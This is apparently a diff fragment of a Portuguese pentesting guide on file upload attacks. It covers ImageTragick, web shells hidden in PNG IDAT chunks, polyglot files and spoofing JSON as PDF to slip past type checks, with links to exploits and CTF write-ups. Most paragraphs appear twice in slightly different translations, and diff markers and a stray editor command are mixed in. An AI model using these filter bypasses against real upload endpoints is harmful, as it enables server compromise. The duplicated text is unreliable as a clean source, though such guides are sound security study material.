:%s/xxA/../g
:x!
```
## ImageTragic
Envie este conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick , 7.0.1-1)** (a partir do [exploit](https://www.exploit-db.com/exploits/39767))
Faça upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick , 7.0.1-1)** (do [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -325,31 +365,31 @@ pop graphic-context
```
## Incorporando PHP Shell em PNG
Incorporar um PHP shell no chunk IDAT de um arquivo PNG pode efetivamente contornar certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do PHP shell incorporado permanecer inalterado por essas operações é uma vantagem significativa para certos casos de uso.
Incorporar um PHP shell no IDAT chunk de um arquivo PNG pode efetivamente contornar certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes neste contexto, pois são comumente usadas para redimensionar e resamplear imagens, respetivamente. A capacidade do PHP shell incorporado de permanecer inalterado por essas operações é uma vantagem significativa para certos casos de uso.
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Esse recurso oferece uma compreensão abrangente do processo e suas implicações.
A exploração detalhada desta técnica, incluindo sua metodologia e possíveis aplicações, é apresentada no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Arquivos Polyglot
## Arquivos polyglot
Arquivos polyglot servem como uma ferramenta única em cybersecurity, atuando como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como GIF quanto como um arquivo RAR. Esses arquivos não se limitam a esse pareamento; combinações como GIF e JS ou PPT e JS também são viáveis.
Arquivos polyglot funcionam como camaleões que podem existir de forma válida em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como GIF quanto como um arquivo RAR. Esses arquivos não se limitam a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
A utilidade central dos arquivos polyglot reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco representado por formatos potencialmente perigosos (por exemplo, JS, PHP, ou Phar files). Entretanto, um polyglot, ao conformar-se aos critérios estruturais de múltiplos tipos de arquivo, pode furtivamente contornar essas restrições.
A utilidade principal dos arquivos polyglot reside na sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações é permitir apenas certos tipos de arquivo para upload — como JPEG, GIF, ou DOC — para mitigar o risco representado por formatos potencialmente perigosos (ex.: JS, PHP, ou Phar). No entanto, um polyglot, ao conformar-se aos critérios estruturais de múltiplos tipos, pode contornar essas restrições de forma furtiva.
Apesar de sua adaptabilidade, polyglots encontram limitações. Por exemplo, enquanto um polyglot pode simultaneamente encarnar um PHAR file (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rígido quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir seu upload.
Apesar da adaptabilidade, polyglots enfrentam limitações. Por exemplo, embora um polyglot possa ao mesmo tempo incorporar um PHAR e um JPEG, o sucesso do upload pode depender da política de extensões do sistema. Se o sistema for rígido quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir o upload.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Fazer upload de JSONs válidos como se fossem PDF
### Upload valid JSONs like if it was PDF
Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON válido mesmo que não seja permitido, falsificando um arquivo PDF (técnicas deste **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON válido mesmo quando não permitido, falsificando um PDF (técnicas do **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post)
- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post)
- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF
- **`mmmagic` library**: Contanto que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é válido (veja exemplo no post)
- **`pdflib` library**: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um PDF (veja exemplo no post)
- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que ele não consiga parsear o conteúdo como JSON e então, dentro do JSON, colocar a parte inicial de um PDF real e ele vai identificar como PDF
## Referências
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -358,6 +398,9 @@ Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON vá
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)